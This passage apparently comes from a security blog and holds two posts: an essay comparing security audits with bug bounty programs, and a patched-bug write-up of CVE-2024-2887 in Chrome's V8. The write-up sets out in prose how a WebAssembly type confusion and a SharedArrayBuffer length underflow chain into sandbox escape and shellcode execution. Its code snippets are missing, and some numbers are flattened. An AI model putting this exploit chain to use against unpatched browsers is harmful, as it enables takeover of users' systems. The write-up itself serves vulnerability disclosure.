Most programs define a scope of things to be tested and the vulnerability types that they are interested in receiving reports on. The client typically sets the payout amounts they are offering, with escalating rewards for more impactful discoveries. The client is also free to incentivize testing on certain areas through promotions (e.g., double bounties on their new product). Most bug bounty programs are exclusively black box, with no source code or documentation provided to the participating testers.

In most programs, there are no limits as to when the testing occurs. The participants determine if and when they perform testing. Because of this, any outages caused by the testing are usually treated as either normal engineering outages or potentially as security incidents. Some programs do ask their testers to identify their traffic via various means (e.g., passing a unique header) to more easily understand what they’re seeing in logs, if questions arise.

The bug bounty program’s concept of reporting is commonly individual bug reports, with or without a pre-formatted submission form. It is also common for programs to request that the person submitting the report validate the fix.

Hybrid Approaches

While not the focus of this post, we felt it was necessary to also acknowledge that there are hybrid approaches available. These offerings combine various aspects of both a bug bounty program and focused product security audits. We hope this post will inform the reader well enough to ensure they select the approach and mix of services that is right for their organization and fully understand what each entails.

Contrasting the approaches

From the definitions, the two approaches seem reasonably similar, but when we go below the surface, the differences become more apparent.

The people

It’s not fair to paint any group with a broad brush, but there are some clear differences between who typically works in a product security audit versus a bug bounty program. Both approaches can result in great people testing an application and both could potentially result in participants lacking the professionalism and/or skill set you hoped for.

When a firm is retained to perform testing for a client, the firm is staking their reputation on the client’s satisfaction. Most reputable firms will attempt to provide clients with the best people they have available, ideally considering their specific skills for the engagement. The firm assumes the responsibility to screen their employees’ technical abilities, usually through multiple rounds of testing and interviewing prior to hiring, along with ongoing supervision, training and mentoring. Clients are also often provided with summaries of the engineers’ résumés, with the option to request alternate testers, if they feel their background doesn’t match with the project. Lastly, providers are also usually required to perform criminal background checks on their staff to meet client requirements.

A Bug Bounty program usually has very minimal entry requirements. Typically this just means that the participants are not from embargoed countries. Participants could be anyone from professionals looking to make extra money, security researchers, college students or even complete novices looking to build a résumé. While theoretically a client may draw more eyes to their project than in a typical audit, that’s not guaranteed and there are no assurances of their qualifications. Katie Moussouris, a well-known CEO of a bug bounty consultancy, is quoted underscoring this point, saying “Their latest report shows most registered users are basically either fake or unskilled”. Further, per their own statistics, one of the largest platforms stated that only about one percent of their participants “were really doing well”. So, despite large potential numbers, the small percentage of productive participants will be stretched thinly across thousands of programs, at best. In reality, the top participants tend to aggregate around programs they feel are the most lucrative or interesting.

The process

When a client hires a quality firm to perform a product security audit, they’re effectively getting that firm’s collective body of knowledge. This typically means that their personnel have others within the company they can interact with if they encounter problems or need assistance. This also means that they likely have a proprietary methodology they adhere to, so clients should expect thorough and consistent results. Internal peer review and other quality assurance processes are also usually in place to ensure satisfactory results.

Generally, there are limitations on what a client wants or is able to share externally. It is common that a firm and client sign mutual NDAs, so neither party is allowed to disclose information about the audit. Should the firm leak information, they can potentially be held legally liable.

In a bug bounty program, each tester makes their own rules. They may overlap each other, creating repeated redundant tests, or they may compliment each other, giving the presumed advantage of many eyes. There is generally no way for a client to know what has or has not been tested. Clients may also find test accounts and data littered throughout the app (e.g., pop-up alerts everywhere), whereas professional testers are typically more restrained and required to not leave such remnants.

Most bug bounty programs don’t require a binding NDA, even if they are considered “private”. Therefore, clients are faced with a decision as to what and how much to share with the program participants. As a practical matter, there is little recourse if a participant decides to share information with others.

The results

When a client hires a firm, they should expect a well-written professional report. Most firms have a proprietary reporting format, but will usually also provide a machine-readable report upon request. In most cases, clients can preview a sample report prior to hiring a firm, so they can get a very clear picture of the deliverables.

Reports from professional audits are typically subjected to several rounds of quality control prior to being delivered to clients. This will typically include a technical review or validation of reported issues, in addition to language and grammar editing to ensure reports are readable and professionally constructed. Additionally, quality firms also understand the fact that the results may be reviewed by a wide audience at their clients. They will therefore invest the time and effort to construct them in such a way that an audience, with a wide range of technical knowledge, are all able to understand the results. Testers are also typically required to maintain testing logs and quality documentation of all issues (e.g., screenshots - including requests and responses). This ensures clear findings reports and reproduction steps along with all the supporting materials.

Through personalized relationships with clients and potentially their source code, firms have the opportunity to understand what is important to them, which things keep them up at night and which things they aren’t concerned about. Through kickoff meetings, ongoing direct communication and wrap-up meetings, firms build trust and understanding with clients. This allows them to look at vulnerabilities of all severity levels and understand the context for the client. This could result in simply saving the client’s time or recognizing when a medium severity issue is actually a critical issue, for that client’s organization.

Further, repeated testing allows a client to tangibly demonstrate their commitment to security and how quickly they remediate issues. Additionally, product security audits conducted by experienced engineers, especially those with source code access, can highlight long-term improvements and hardening measures that can be taken, which would not generally be a part of a bug bounty program’s reports.

In a bug bounty program, the results are unpredictable, often seemingly driven mainly by the participants’ focus on payouts. Most companies end up inundated with effectively meaningless reports. Whether valid or not, they are often unrealistic, overhyped, known CVEs or previously known bugs, or issues the organization doesn’t actually care about. It is rare that results fully meet expectations, but not impossible. Submissions tend to cluster around things pushing (often quite imaginatively) to be considered critical or high severity, to gain the largest payouts or the low hanging fruits detected by automated scanners, usually reported by the lower rated participants looking for any type of payouts, no matter how trivial. The reality is that clients need to pay a premium to get the “good researchers” to participate, but on public programs that itself can also cause a significant uptick in “spam” reports.

Bug bounty reports are typically not formatted in a consistent manner and not machine-readable for ingestion into defect tracking software. Historically, there have been numerous issues that have arisen from reports which were difficult to triage due to language issues, poor grammar or bad proof-of-concept media (e.g., unhelpful screenshots, no logs, meandering videos). To address this, some platforms have gone as far as to incentivize participants to provide clear and easily readable reports via increased payouts, or positive reviews which impact the reporters’ reputation scores.

The value

A professional audit is something that produces a deliverable that a client can hand to a third-party, if necessary. While there is a fixed cost for it, regardless of the results, this documented testing is often required by partner companies and for compliance reasons. Furthermore, when using a reputable firm, a client may find it easier to pass the security requirements of their partners. Lastly, should there be an incident, a client can attest to their due diligence and potentially lessen their legal liability.

A bug bounty provides no assurances as to the amount of the application that is tested (i.e., the “coverage”). It neither produces an acceptable deliverable that can be offered to third parties, nor does it attest to the quality of the skills of those testing the application(s). Further, bug bounty programs don’t typically satisfy any compliance requirements with respect to testing requirements.

Summary

In the following table, we perform a side-by-side comparison of the two approaches to make the differences clearer.

Product Security Audit versus Bug Bounty table

Conclusion

Which approach an organization decides to take will vary based on many factors including budget, compliance requirements, partner requirements, time-sensitivity and confidentiality requirements. For most organizations, we feel the correct approach is a balanced one.

Ideally, an organization should perform recurring product security audits at least quarterly and after major changes. If budgets don’t permit that frequency of testing, the typical compromise is annually, at an absolute minimum.

Bug bounty programs should be used to fill the gaps between rigorous security audits, whether those audits are performed by internal teams or external partners. This is arguably the need they were designed to fill, rather than replacing recurring professional testing.

CVE-2024-2887: A Pwn2Own Winning Bug in Google Chrome

In this guest blog from Master of Pwn winner Manfred Paul, he details CVE-2024-2887 – a type confusion bug that occurs in both Google Chrome and Microsoft Edge (Chromium). He used this bug as a part of his winning exploit that led to code execution in the renderer of both browsers. This bug was quickly patched by both Google and Microsoft. Manfred has graciously provided this detailed write-up of the vulnerability and how ghe exploited it at the contest.


In this blog, I describe a means of exploiting the V8 JavaScript and WebAssembly engine to gain execution of arbitrary shellcode inside the renderer process. This includes a bypass of the V8 memory sandbox (Ubercage), though code execution is still constrained by the process isolation-based browser sandbox. For demonstration purposes, this limitation can be removed by running the browser with the --no- sandbox flag.

Root Cause of the WebAssembly Universal Type Confusion

A WebAssembly module may contain a type section that defines a list of custom “heap types”. In the base specification, this is used only to declare function types, but with the adoption of the garbage collection (GC) proposal [PDF], this section can additionally define struct types, allowing for the use of composite, heap-allocated types in WebAssembly.

Normally, a struct declared in this section may only reference structs that precede it (structs with a lower type index). To support mutually recursive data structures, a feature called recursive type groups is available. Instead of declaring the (potentially) mutually recursive types as individual entries in the type section, a recursive group is declared as a single type section entry. Within this group, individual types are declared, which are thereby allowed to reference each other.

With this in mind, consider the function responsible for parsing the type section from the binary WebAssembly format in v8/src/wasm/module-decoder-impl.h:

At (1), the limit kV8MaxWasmTypes (currently equal to 1,000,000) is passed as a maximum to consume_count(), ensuring that at most this many entries are read from the type section. When recursive type groups were added, this check became insufficient. While this code will permit only kV8MaxWasmTypes entries of the type section to be read, each of those can potentially be a recursive type group containing more than one individual type definition.

This insufficiency was clearly noticed at the time of this change, as together with recursive type groups a second check was added at (2). Here, for each recursive type group, it is checked that the addition of the constituent types would not exceed the kV8MaxWasmTypes limit.

However, this second check is still not enough. While it protects the indices of each type allocated inside a recursive group, the presence of those groups also has implications for types declared outside this group, as each recursive group adds to the total count of declared types.

To make this clearer, imagine a type section consisting of two entries: one recursive group containingkV8MaxWasmTypes entries, and following that group, one non-recursive type. The check at (1) is passed, as the section only has two entries. While processing the recursive group, the check at (2) is also passed, as the section has exactly kV8MaxWasmTypes entries. For the following single type, there is no further check: at (3) the type is simply allocated at the next free index. In this case, the index will be kV8MaxWasmTypes, exceeding the usual maximum of kV8MaxWasmTypes-1. If there were more than one non-recursive type at the end of the type section, they would similarly get assigned kV8MaxWasmTypes+1, kV8MaxWasmTypes+2, and so forth, as type indices.

Impact of the Root Cause

Exceeding the maximal number of declared heap types might seem like a very harmless resource exhaustion bug at first. However, due to some internal details of how V8 handles WebAssembly heap types, it directly allows constructing some very powerful exploit primitives.

In v8/src/wasm/value-type.h, the encoding of heap types is defined:

Here, V8 assumes that all user-defined heap types will be assigned indices smaller than kV8MaxWasmTypes. Larger indices are reserved for fixed, internal heap types (beginning with kFunc). This results in our own type declarations aliasing one of these internal types, leading to many opportunities for type confusion.

Universal WebAssembly Type Confusion

To leverage this encoding ambiguity into a full type confusion, let’s first consider the struct.new opcode, which produces a reference to a new struct created from fields given on the stack. The caller specifies the desired struct type by passing its type index. The relevant check on the type index can be found in v8/src/wasm/function-body-decoder-impl.h:

Following the validation logic into the has_struct() method from v8/src/wasm/wasm-module.h:

Since we can make types.size() exceed the usual limit of kV8MaxWasmTypes, we can make the check pass even if when passing an index larger than this value. This allows us to create a reference of an arbitrary internal type that points to the struct we can freely define.

On the other hand, consider now the handling of the ref.cast instruction:

Here, a type check elimination is performed. If TypeCheckAlwaysSucceeds returns true, then no actual type check is emitted and the value is simply reinterpreted as the target type.

The function TypeCheckAlwaysSucceeds ultimately calls IsHeapSubtypeOfImpl defined in v8/src/wasm/wasm-subtyping.cc:

This means that if our declared type index aliases the constant HeapType::kNone, the type check will always be elided if we cast to any non-function, non-external reference. In combination, we can use this to turn any reference type into any other by the following steps:

  1. In the type section, define a structure type with a single field of type anyref, and make this struct have a type index equal to HeapType::kNone using the bug described above.

  2. Place a non-null reference value of any type on the top of the stack and call struct.new with the type index set to HeapType::kNone. This will succeed, as has_struct() validates the index against the index established via the previous step.

  3. Also, declare a struct with a normal type index lower than kV8MaxWasmTypes with a single field of the target reference type. Call ref.cast with this this struct’s type index. The engine will not perform any type check, as the input value is at this point understood to be reference type HeapType::kNone.

  4. Finally, read back the reference stored in the struct by executing struct.get.

This arbitrary casting of reference types allows transmuting any value type into any other by referencing it, changing the reference type, and then dereferencing it – a universal type confusion.

In particular, this directly contains nearly all usual JavaScript engine exploitation primitives as special cases:

• Transmuting int to int* and then dereferencing results in an arbitrary read.

• Transmuting int to int* and then writing to that reference results in an arbitrary write.

• Transmuting externrefto int is the addrOf() primitive, obtaining the address of a JavaScript object.

• Transmuting int to externref is the fakeObj() primitive, forcing the engine to treat an arbitrary value as a pointer to a JavaScript object.

While casting from HeapType::kNone to an externref is not allowed, remember that we are actually operating on one more level of indirection - transmuting to externref involves casting to a reference to a struct containing one externref member.

Note however that these “arbitrary” reads and writes are still contained in the V8 memory sandbox, as all involved pointers to heap-allocated structures are tagged, compressed pointers inside the heap cage, not full 64-bit raw pointers.

Integer Underflow Leading to V8 Sandbox Escape

The primitives described above allow for freely manipulating and faking most JavaScript objects. However, all of this happens inside the limited memory space of the V8 sandbox. “Trusted” objects such as WebAssembly instance data cannot yet be manipulated. We will now turn our attention to a bug that can be used to escape the memory sandbox.

An often-used object for JavaScript engine exploits is ArrayBuffer and its corresponding views, (i.e. typed arrays), as it allows for direct, untagged access to some region of memory.

To prevent access to pointers outside the V8 sandbox, sandboxed pointers are used to designate a typed array’s corresponding backing store. Similarly, an ArrayBuffer’s length field is always loaded as a “bounded size access”, inherently limiting its value to a maximum of 235 − 1.

However, in modern JavaScript, the handling of typed arrays has become quite complex due to the introduction of resizable ArrayBuffers (RABs) and their sharable variant, growable SharedArrayBuffers (GSABs). Both variants feature the ability to change their length after the object has been created with the shared variant being restricted to never shrink. In particular, for typed arrays with these kinds of buffers, the array length can never be cached and must be recomputed on each access.

Additionally, ArrayBuffers also feature an offset field, describing the start of the data in the actual underlying backing store. This offset must be taken into account when computing the length.

Let’s now look at the code responsible for building a TypedArray’s length access in the optimizing Turbofan compiler. It can be found in v8/src/compiler/graph-assembler.cc. Note that most non-RAB/GSAB cases and the code responsible for dispatching are omitted for simplicity:

For arrays backed by a resizable ArrayBuffer, we can see at (1) that the length is computed as floor((byte_length - byte_offset) / element_size). Crucially, there is an underflow check. If byte_offset exceeds byte_length, then 0 is returned instead.

Curiously though, in the case of a GSAB-backed array, the corresponding underflow check is missing. Thus, if byte_offset is larger than byte_length, an underflow occurs and the subtraction wraps around to something close to the maximum unsigned 64-bit integer 264. As both of these fields are found in the (by now) attacker-controlled array object, we can easily trigger this using the sandboxed arbitrary read/write primitives discussed previously. This results in access to the whole 64-bit address space, as the length computed by this function is used to bound any typed array accesses (in JIT-compiled code).

Exploitation for Arbitrary Shellcode Execution

Using the two bugs described above, exploitation becomes fairly straightforward. The primitives described in the Universal WebAssembly Type Confusion section directly give arbitrary reads and writes within the V8 memory sandbox. This can then be used to manipulate a growable SharedArrayBuffer to have an offset greater than its length. A previously JIT-compiled read/write function can then be used to access and overwrite data anywhere in the process’s address space. An appropriate target for overwrite is the compiled code of a WebAssembly module, since that resides in an RWX (read-write-execute) page and can be overwritten with shellcode.


Thanks again to Manfred for providing this thorough write-up. He has contributed multiple bugs to the ZDI program over the last few years, and we certainly hope to see more submissions from him in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

❌
❌